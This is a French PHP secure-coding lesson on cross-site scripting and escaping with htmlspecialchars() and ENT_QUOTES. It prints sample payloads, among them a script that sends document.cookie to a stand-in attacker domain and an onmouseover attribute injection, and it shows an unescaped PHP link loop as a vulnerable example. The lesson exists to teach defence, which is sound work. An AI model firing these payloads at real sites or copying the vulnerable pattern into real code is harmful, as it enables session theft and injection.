Formation PUB010 : PHP, 2025 Écrire du code PHP sécurisé

31.7 htmlspecialchars() pour se protéger contre certaines attaques XSS


Lorsqu'une page Web affiche un formulaire, un utilisateur malveillant pourrait entrer du code précis dans une boîte de saisie et ainsi tenter d'exécuter du code non prévu, par exemple du JavaScript potentiellement dangereux.

Ce type d'attaque porte le nom de Attaque XSS ou Cross-Site Scripting.

Je vous présente ici différentes formes d'attaques XSS :

Attaque avec une balise <script>

L'attaque XSS la plus classique consiste à entrer ceci dans la balise <input> : « <script>alert("Cassé!");</script> ».

Exemple attaque XSS

Si la page affiche à l'écran le texte saisi (ce qui arrivera tôt ou tard), le navigateur recevra les balises <script> et exécutera le code JavaScript qu'elles contiennent. 

Dans le cas le plus simple, les balises <script> ne contiendront qu'une instruction alert(), ce qui affichera un popup. Ce n'est pas dangereux, surtout si le popup ne s'affiche que sur le poste de l'assaillant.

Le problème s'aggrave lorsque les informations sont enregistrées dans la base de données avant d'être affichées sur différentes pages Web. On parlera alors d'attaque XSS stockée ou permanente (en anglais : persistent XSS).

Par exemple, si les balises <script> sont entrées dans un commentaire, elles seront affichées sur l'écran de chaque internaute ayant accès à la liste des commentaires. Un simple alert() deviendra carrément dérangeant.

Le problème devient critique lorsque les balises <script> contiennent du code plus compromettant, comme par exemple une instruction JavaScript qui redirige vers un site qui, avec une apparence tout à fait conforme au site d'origine, se chargera de conserver précieusement les informations d'authentification ou encore de récupérer le cookie de l'usager.

Par exemple, si l'usager malveillant entre dans le formulaire une information du genre :

Information malicieuse entrée dans un formulaire Web

<script>document.location='https://domaineduhacker.com/index.php?cookie=' + document.cookie</script>

La page « https://domaineduhacker.com/index.php » pourra s'occuper de conserver précieusement le cookie puis de rediriger l'internaute vers son site d'origine. Ouch !

Le site Web pourra être protégé à l'aide de la fonction htmlspecialchars(). Cette fonction permet entre autres de convertir les balises < et > en &lt; et &gt;. Ainsi, si un utilisateur entre <script> dans la boîte de saisie, ceci sera converti en &lt;script&gt;. La tentative d'attaque deviendra tout à fait inoffensive.

Caractères traités par htmlspecialchars()

Les caractères remplacés par htmlspecialchars() sont les suivants :

  • & devient &amp;
  • " devient &quot;
  • ' devient &#039; (seulement si on utilise l'attribut ENT_QUOTES)
  • < devient &lt;
  • > devient &gt;

Utilisation de htmlspecialchars() avant l'enregistrement

Dans les faits, il ne peut pas se produire d'attaque XSS lors de l'enregistrement des données.

C'est lorsque ces informations seront affichées à l'écran que l'attaque pourra se produire.

Aussi, nous allons prendre l'habitude de bien protéger les informations lors de l'enregistrement afin qu'aucune attaque potentielle ne provienne des informations de la base de données lorsqu'elles sont affichées à l'écran.

Rappelons que les requêtes préparées offrent une protection contre les injections SQL mais pas contre les attaques XSS.

L'algorithme suivant appliquera htmlspecialchars() à chacune des valeurs contenues dans le tableau $_POST reçu du formulaire Web.

PHP

// protection XSS avant l'enregistrement
foreach ($_POST as $cle => $valeur) {

    $_POST[$cle] = htmlspecialchars($valeur, ENT_QUOTES);

}

Attaque avec un attribut onmouseover

Dans certains cas, les utilisateurs malveillants pourront se servir des apostrophes dans leur attaque, par exemple pour refermer un attribut et introduire un attribut onmouseover qui pourra exécuter du JavaScript.

Ceci n'est possible évidemment que si l'informations tirée de la base de données est placée dans un attribut d'une balise HTML, par exemple l'attribut href d'une balise <a>.

Pour illustrer une telle attaque, prenons le code PHP suivant qui affiche des liens à partir d'URL tirés de la base de données.

PHP

...
while ($enreg = $resultat->fetch_row()) {
    echo "<li><a href='$enreg[1]'>$enreg[0]</a></li>";
}
...

Dans le formulaire qui permet d'ajouter un lien dans la base de données, l'usager malveillant pourrait entrer ceci dans la balise <input> au lieu d'un URL valide : « 'onmouseover='alert("Cassé!"); ».

Bien sûr, il faudrait normalement valider que le texte entré est bien un lien. Mais si le développeur n'est pas assez sensibilisé à la sécurité, qu'il ne fait pas de validation et que ce texte est enregistré en tant qu'URL, le code généré sera le suivant :

HTML

<li><a href=''onmouseover='alert("Cassé!");'>Lien frauduleux non protégé</a></li>

On voit que l'apostrophe du début permet de refermer le contenu de l'attribut href, ce qui permet à l'attribut onmouseover d'être pris en compte.

Pour se protéger, il faut utiliser htmlspecialchars() avant d'afficher les données ou mieux, avant de les enregistrer.

Cependant, si on ne prend pas la précaution d'encoder avec la constante ENT_QUOTES, les apostrophes ne seront pas encodés donc le onmouseover pourra avoir lieu.

Le lien généré semble protégé mais il ne l'est pas.

HTML

<li><a href=''onmouseover='alert(&quot;Cassé!&quot;);'>Lien protégé avec htmlspecialchars()sans ENT_QUOTES</a></li>

Encodage des apostrophes avec htmlspecialchars

Pour mieux se protéger, il faut utiliser la constante ENT_QUOTES comme second paramètre à htmlspecialchars(). Ceci indique que les apostrophes doivent être encodées au même titre que les guillemets et les caractères &, < et >.

PHP

// protection XSS avant l'enregistrement qui convertit également les apostrophes
foreach ($_POST as $cle => $valeur) {

    $_POST[$cle] = htmlspecialchars($valeur, ENT_QUOTES);

}

Cette fois, le lien généré sera le suivant, avec les apostrophes et guillements correctement encodés. L'attaque ne pourra donc pas avoir lieu.

HTML

<li><a href='&#039;onmouseover=&#039;alert(&quot;Cassé!&quot;);'>Lien frauduleux enregistré avec ENT_QUOTES</a></li>

Pour plus d'information

« htmlspecialchars ». PHP. http://php.net/manual/fr/function.htmlspecialchars.php

« Cross-Site Scripting Attacks (XSS) ». SitePoint. http://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/

« Cross-Site Scripting ». Chris Shiflett. http://shiflett.org/articles/cross-site-scripting

« XSS (Cross Site Scripting) Prevention Cheat Sheet ». OWASP. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 

▼Publicité

Veuillez noter que le contenu de cette fiche vous est partagé à titre gracieux, au meilleur de mes connaissances et sans aucune garantie.
Merci de partager !
Soumettre